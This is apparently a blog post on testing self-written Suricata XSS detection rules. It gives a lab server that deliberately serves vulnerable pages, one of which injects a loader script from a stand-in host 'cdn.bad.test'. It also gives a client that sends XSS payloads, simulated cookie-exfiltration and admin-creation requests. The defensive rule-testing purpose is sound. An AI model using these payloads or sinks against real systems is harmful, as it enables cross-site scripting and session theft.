编写XSS的suricata规则-测试(9001288-9001300、9001111)
1.主机B开启服务
from __future__ import annotations import argparse import socket import threading from urllib.parse import urlsplit def check_port_available(listen_ip: str, port: int) -> None: probe = socket.socket(socket.AF_INET, socket.SOCK_STREAM) probe.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: probe.bind((listen_ip, port)) except OSError as exc: raise SystemExit( f"[server] {listen_ip}:{port} is already in use. " f"Run `ss -ltnp | grep :{port}` on the server to find the process." ) from exc finally: probe.close() def recv_http_request(conn: socket.socket) -> bytes: conn.settimeout(0.6) chunks: list[bytes] = [] while True: try: data = conn.recv(4096) except socket.timeout: break if not data: break chunks.append(data) joined = b"".join(chunks) if b"\r\n\r\n" in joined and len(data) < 4096: break return b"".join(chunks) def parse_path(request: bytes) -> str: first_line = request.split(b"\r\n", 1)[0].decode("latin-1", errors="ignore") parts = first_line.split(" ") if len(parts) >= 2: return parts[1] return "/" def build_response(body: bytes, content_type: str = "text/plain", extra_headers: list[str] | None = None) -> bytes: extra_headers = extra_headers or [] headers = [ "HTTP/1.1 200 OK", "Connection: close", f"Content-Length: {len(body)}", f"Content-Type: {content_type}", ] headers.extend(extra_headers) headers.extend(["", ""]) return "\r\n".join(headers).encode("ascii") + body def response_for_path(path: str) -> tuple[bytes, str, list[str]]: route = urlsplit(path).path if route == "/dom-message": body = ( b"<html><body><script>" b"window.addEventListener(\"message\", function(e){" b"document.body.innerHTML = e.data;" b"});" b"</script></body></html>" ) return body, "text/html", [] if route == "/dom-hash": body = ( b"<html><body><script>" b"var v = location.hash;" b"document.write(v);" b"</script></body></html>" ) return body, "text/html", [] if route == "/framework": body = ( b"<html><body><script>" b"const demo = { dangerouslySetInnerHTML: '__html' };" b"route.query = location.hash;" b"</script></body></html>" ) return body, "text/html", [] if route == "/ticket/view": body = b"<html><body><img src=x onerror=alert(1)></body></html>" return body, "text/html", [] if route == "/admin/login": body = ( b"<html><head><title>Admin Login</title></head><body>" b"<form><input type=\"password\" name=\"password\"></form>" b"<script src=\"//cdn.bad.test/cdn.js\"></script>" b"</body></html>" ) return body, "text/html", [] if route == "/portal/console": body = ( b"<html><head><title>Portal Console</title></head><body>" b"<input type=\"password\" name=\"password\">" b"<script>console.log('x')</script>" b"</body></html>" ) return body, "text/html", ["Content-Security-Policy: script-src 'self' 'unsafe-inline' data:"] if route == "/assets/app.js": body = ( b"var x = atob('QQ==');" b"var s = document.createElement('script');" b"s.src='http://cdn.bad.test/loader.js';" b"document.body.appendChild(s);" ) return body, "application/javascript", [] return b"ok\n", "text/plain", [] def handle_client(conn: socket.socket, addr: tuple[str, int], listen_port: int) -> None: try: request = recv_http_request(conn) path = parse_path(request) first_line = request.split(b"\r\n", 1)[0].decode("latin-1", errors="ignore") body, content_type, extra_headers = response_for_path(path) conn.sendall(build_response(body, content_type, extra_headers)) print(f"[server:{listen_port}] {addr[0]}:{addr[1]} {first_line}") except Exception as exc: # pragma: no cover - lab helper print(f"[server:{listen_port}] handler error from {addr}: {exc}") finally: try: conn.close() except OSError: pass def serve(listen_ip: str, port: int, stop_event: threading.Event) -> None: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((listen_ip, port)) sock.listen(128) sock.settimeout(1.0) print(f"[server:{port}] listening on {listen_ip}:{port}") try: while not stop_event.is_set(): try: conn, addr = sock.accept() except socket.timeout: continue thread = threading.Thread(target=handle_client, args=(conn, addr, port), daemon=True) thread.start() finally: sock.close() def main() -> None: parser = argparse.ArgumentParser(description="Minimal live responder for xss_followon_supplement.rules") parser.add_argument("--listen-ip", default="10.10.10.2") parser.add_argument("--port", type=int, default=18080) args = parser.parse_args() check_port_available(args.listen_ip, args.port) stop_event = threading.Event() thread = threading.Thread(target=serve, args=(args.listen_ip, args.port, stop_event), daemon=True) thread.start() try: thread.join() except KeyboardInterrupt: print("\n[server] stopping") stop_event.set() if __name__ == "__main__": main()
2.主机A发送测试请求
from __future__ import annotations import argparse import socket import time def send_raw(host: str, port: int, payload: bytes) -> bytes: sock = socket.create_connection((host, port), timeout=3) sock.settimeout(1.0) try: sock.sendall(payload) response = bytearray() while True: try: data = sock.recv(4096) except socket.timeout: break if not data: break response.extend(data) return bytes(response) finally: sock.close() def http_request(method: str, path: str, headers: list[tuple[str, str]] | None = None, body: bytes = b"") -> bytes: headers = headers or [] header_names = {name.lower() for name, _ in headers} lines = [f"{method} {path} HTTP/1.1", "Host: xss-lab.local", "Connection: close"] if body and "content-length" not in header_names: headers.append(("Content-Length", str(len(body)))) for name, value in headers: lines.append(f"{name}: {value}") return ("\r\n".join(lines) + "\r\n\r\n").encode("ascii") + body def send_and_log(name: str, host: str, port: int, payload: bytes) -> None: response = send_raw(host, port, payload) status_line = response.split(b"\r\n", 1)[0].decode("latin-1", errors="ignore") if response else "no response" print(f"[client-send] {name} -> {host}:{port} {status_line}") time.sleep(0.2) def main() -> None: parser = argparse.ArgumentParser(description="Send XSS supplement live-test traffic to 10.10.10.2") parser.add_argument("--server-ip", default="10.10.10.2") parser.add_argument("--port", type=int, default=18080) args = parser.parse_args() actions: list[tuple[str, bytes]] = [ ( "seed-9001288", http_request( "POST", "/comment/submit", headers=[("Content-Type", "application/x-www-form-urlencoded")], body=b"comment=%3Cscript%3Ealert%281%29%3C%2Fscript%3E", ), ), ( "seed-9001289", http_request( "POST", "/graphql", headers=[("Content-Type", "application/json")], body=( b'{"message":"\\\\u003cscript>alert(1)\\\\u003c/script>",' b'"template":"v-html","note":"srcdoc=data:text/html"}' ), ), ), ( "alert-9001290", http_request( "POST", "/api/graphql", headers=[("Content-Type", "application/json")], body=( b'{"dangerouslySetInnerHTML":"location.hash",' b'"payload":"data:text/html,<svg onload=alert(1)>"}' ), ), ), ("alert-9001291", http_request("GET", "/dom-message")), ("alert-9001292", http_request("GET", "/dom-hash")), ("alert-9001293", http_request("GET", "/framework")), ("alert-9001294", http_request("GET", "/ticket/view?id=1")), ("alert-9001299", http_request("GET", "/admin/login")), ("alert-9001300", http_request("GET", "/portal/console")), ("alert-9001111", http_request("GET", "/assets/app.js")), ( "alert-9001295", http_request("GET", "/collect?cookie=SESSIONTOKEN123456789"), ), ( "alert-9001296", http_request("GET", "/beacon?owa-canary=CANARYTOKEN123456789"), ), ( "alert-9001297", http_request( "POST", "/admin/users", headers=[("Content-Type", "application/x-www-form-urlencoded")], body=b"password=Reset123456&role=admin&enable=1", ), ), ( "alert-9001298", http_request("GET", "/export/report?format=csv"), ), ] for name, payload in actions: send_and_log(name, args.server_ip, args.port, payload) if __name__ == "__main__": main()

浙公网安备 33010602011771号